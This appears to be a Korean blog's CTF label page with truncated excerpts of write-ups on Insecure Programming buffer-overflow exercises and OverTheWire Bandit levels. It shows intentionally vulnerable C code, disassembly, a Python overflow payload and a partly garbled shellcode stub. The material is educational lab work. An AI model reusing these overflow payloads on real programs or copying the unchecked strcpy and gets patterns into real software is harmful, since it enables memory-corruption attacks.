기본 콘텐츠로 건너뛰기

라벨이 CTF인 게시물 표시

Insecure-programming-abo4

Insecure-programming-abo4 Insecure Programming by example Advanced Buffer Overflow 4 extern system , puts ; void ( * fn ) ( char * ) = ( void ( * ) ( char * ) ) & system ; int main ( int argv , char * * argc ) { char * pbuf = malloc ( strlen ( argc [ 2 ] ) + 1 ) ; char buf [ 256 ] ; fn = ( void ( * ) ( char * ) ) & puts ; strcpy ( buf , argc [ 1 ] ) ; strcpy ( pbuf , argc [ 2 ] ) ; fn ( argc [ 3 ] ) ; while ( 1 ) ; } Advanced Buffer Overflow 3과 다른 몇 가지 특징을 볼 수 있다. 먼저 main 함수 외부에서 전역 변수로 fn 함수 포인터를 선언한 것을 볼 수 있다. 그리고 활용 인자 값을 추가하여 첫 번째 인자는 스택에 저장하고 두 번째 인자는 malloc 함수를 활용하여 힙에 저장하고, 세 번째 인자는 fn 함수 포인터로 할당한 puts 함수의 인자로 전달하고 있다. 마지막으로 exit 함수를 이용하여 프로그램을 종료하는 것 대신 while 무한 반복이 설정되어 있다. # objdump -d -M intel ./abo4 | grep -A 39 "<main>" 08048444 <main>: 8048444: 55 push ebp 8048445: 89 e5 mov ebp,esp 8048447: 81 ec 28 01 00 00

Bandit13

Bandit13 Bandit Level 13 bandit13@bandit:~$ ls -al total 24 drwxr-xr-x 2 root root 4096 Dec 28 14:34 . drwxr-xr-x 29 root root 4096 Dec 28 14:34 .. -rw-r--r-- 1 root root 220 Sep 1 2015 .bash_logout -rw-r--r-- 1 root root 3771 Sep 1 2015 .bashrc -rw-r--r-- 1 root root 655 Jun 24 2016 .profile -rw-r----- 1 bandit14 bandit13 1679 Dec 28 14:34 sshkey.private bandit14 계정 소유의 sshkey.private 파일이 디렉터리 내 존재하는 것을 확인할 수 있다. 이번 문제는 비밀번호 대신 sshkey.private 를 이용하여 ssh 접속을 하는 방법을 묻는 문제이다. man ssh 를 이용하면 -i 옵션을 확인할 수 있다. -i identity_file Selects a file from which the identity (private key) for public key authentication is read. The default is ~/.ssh/identity for protocol version 1, and ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519 and ~/.ssh/id_rsa for protocol version 2. Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple -i options (an

Insecure-programming-abo3

Insecure-programming-abo3 Insecure Programming by example Advanced Buffer Overflow 3 int main ( int argv , char * * argc ) { extern system , puts ; void ( * fn ) ( char * ) = ( void ( * ) ( char * ) ) & system ; char buf [ 256 ] ; fn = ( void ( * ) ( char * ) ) & puts ; strcpy ( buf , argc [ 1 ] ) ; fn ( argc [ 2 ] ) ; exit ( 1 ) ; } 이전 문제들에 비해 복잡성을 가진 것을 확인할 수 있다. 하나씩 살펴보면 extern 키워드를 이용하여 system 함수과 puts 함수를 포인터 변수에 선언하는 내용과 두 번째 인자 값( argc[2] )를 puts 함수의 인자로 설정하여 호출하는 것을 볼 수 있다. objdump 를 이용하여 어셈블리어를 살펴보자. 08048414 <main>: 8048414: 55 push ebp 8048415: 89 e5 mov ebp,esp 8048417: 81 ec 28 01 00 00 sub esp,0x128 804841d: 83 e4 f0 and esp,0xfffffff0 8048420: b8 00 00 00 00 mov eax,0x0 8048425: 29 c4 sub esp,eax 8048427: c7 45 f4 fc 82 04 08 mov DWORD PTR [ebp-12],0x80482fc 804842e:

Insecure-programming-abo2

Insecure-programming-abo2 Insecure Programming by example Advanced Buffer Overflow 2 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; exit ( 1 ) ; 지난번 Advanced Buffer Overflow 1 문제와는 다르게 exit() 함수가 추가된 것을 볼 수 있다. 이번 문제는 x86 시스템에서 exit() 함수 호출과 익스플로잇에 대한 영향을 살펴보는 것이 목적이다. objdump 를 이용하여 어셈블리어를 살펴보면 한 가지 특징을 볼 수 있다. # objdump -d -M intel ./abo2 | grep "<main>" -A 16 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 81 ec 18 01 00 00 sub esp,0x118 80483bd: 83 e4 f0 and esp,0xfffffff0 80483c0: b8 00 00 00 00 mov eax,0x0 80483c5: 29 c4 sub esp,eax 80483c7: 8b 45 0c mov eax,DWORD PTR [ ebp+12 ] 80483ca: 83 c0 04 add eax,0x4 80483cd: 8b 00 m

Insecure-programming-abo1

Insecure-programming-abo1 Insecure Programming by example Advanced Buffer Overflow 1 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; } Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy() 함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump 를 이용하여 어셈블리어를 살펴보자. # objdump -d -M intel ./abo1 | grep -A 16 "<main>" 08048374 <main>: 8048374: 55 push ebp 8048375: 89 e5 mov ebp,esp 8048377: 81 ec 18 01 00 00 sub esp,0x118 804837d: 83 e4 f0 and esp,0xfffffff0 8048380: b8 00 00 00 00 mov eax,0x0 8048385: 29 c4 sub esp,eax 8048387: 8b 45 0c mov eax,DWORD PTR [ebp+12] 804838a: 83 c0 04 add eax,0x4 804838d: 8b 00 mov eax,DWORD PTR [eax] 804838f: 89 44 24 04 mov

Insecure-programming-stack5

Insecure-programming-stack5 Insecure Programming by example Stack 5 이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08xn" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you loose!\n" ) ; } 따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다. "you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다. section .text global _start _start: jmp short ender starter: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 4 mov dbl, 91 pop ecx mov bdl, 14 int 0x80 xor eax, eax inc eaxal dec bl int 0x80 ender: call starter db 'you win!\n' 작성이 완료되었다면 nasm 을 이용하여 오브젝트 파일을 생성한 후 ld 명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump 를 이용하여 코드 덤프를 만들자. # nasm -f elf -o stack54_sh_code.

Insecure-programming-stack4

Insecure-programming-stack4 Insecure Programming by example Stack 4 문제의 전체적인 구성은 이전과 동일하지만, cookie 값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets() 함수는 EOF 나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets() 함수를 통해서 cookie 값을 전달할 수 없다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you win!\n" ) ; } 이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n"); 코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다. objdump 를 이용하여 변수의 구성을 확인하자. # objdump -d -M intel stack4 .. . 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 83 ec 78 sub esp,0x78 80483ba: 83 e4 f0 and esp,0xfff

Bandit12

Bandit12 Bandit Level 12 이번 문제는 설명에서 확인할 수 있듯이 압축에 관련된 문제이다. 반복 압축된 파일을 file 명령어로 형식을 확인하며 압축 형식에 맞춰 해제시키면 된다. xxd , tar , gzip , bzip2 를 명령어 사용법을 익히는 것이 이번 문제에 목적이라고 볼 수 있다. hexdump로 파일 생성 bandit12@bandit:/tmp/bongbongco$ cp ~/data.txt . bandit12@bandit:/tmp/bongbongco$ cat data.txt 00000000: 1f8b 0808 ffb2 095a 0203 6461 7461 322e .. .. .. .Z .. data2. 00000010: 6269 6e00 0143 02bc fd42 5a68 3931 4159 bin .. C .. .BZh91AY 00000020: 2653 5915 1ab4 ec00 0016 ffff f9ef 39d7 & SY .. .. .. .. .. .9. 00000030: fd9f 55ff bf7d ebf7 7fb9 dfdf bb7b ddef .. U .. } .. .. .. . { .. 00000040: 5bff 9efd f5af 7fff defb ffbb b001 3b18 [ .. .. .. .. .. .. . ; . 00000050: a403 d41a 00d0 0000 0680 000d 0d06 9a06 .. .. .. .. .. .. .. .. 00000060: 8d00 f50d 01a0 001a 0003 2341 a683 4320 .. .. .. .. .. #A..C 00000070: 69ea 0323 4193 41a0 3653 434f 4880 d0d0 i .. #A.A.6SCOH... 00000080: 69a0 6434 00d0 01a3 200d 3400 6868 1a34 i.d4 .. .. .4.hh.4 00000090: d1a

Insecure-programming-stack3

Insecure-programming-stack3 Insecure Programming by example Stack 3 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x01020005 ) printf ( "you win!\n" ) ; } stack2와 거의 동일하다 변경된 것은 cookie 값에 0x03 대신 0x00이 포함되어 있다는 것이다. 이는 stack2에서와 같이 python 코드를 작성하여 해결이 가능하다. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" | ./stack3.exe buf: 0028fe6c cookie: 0028febc you win ! gdb 디버깅을 위해서 입력 값 파일을 생성하자. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" > stack3_input 다른 특이사항이 없으므로 코드만 눈으로 읽고 지나가자. (gdb) set disassembly-flavor intel (gdb) b main Breakpoint 1 at 0x401603 (gdb) r Starting program: D:\011. ETC\deadbits\stack3.exe [New Thread 11276.0x1d1c] Breakpoint 1, 0x00401603 in main () (gdb) disas D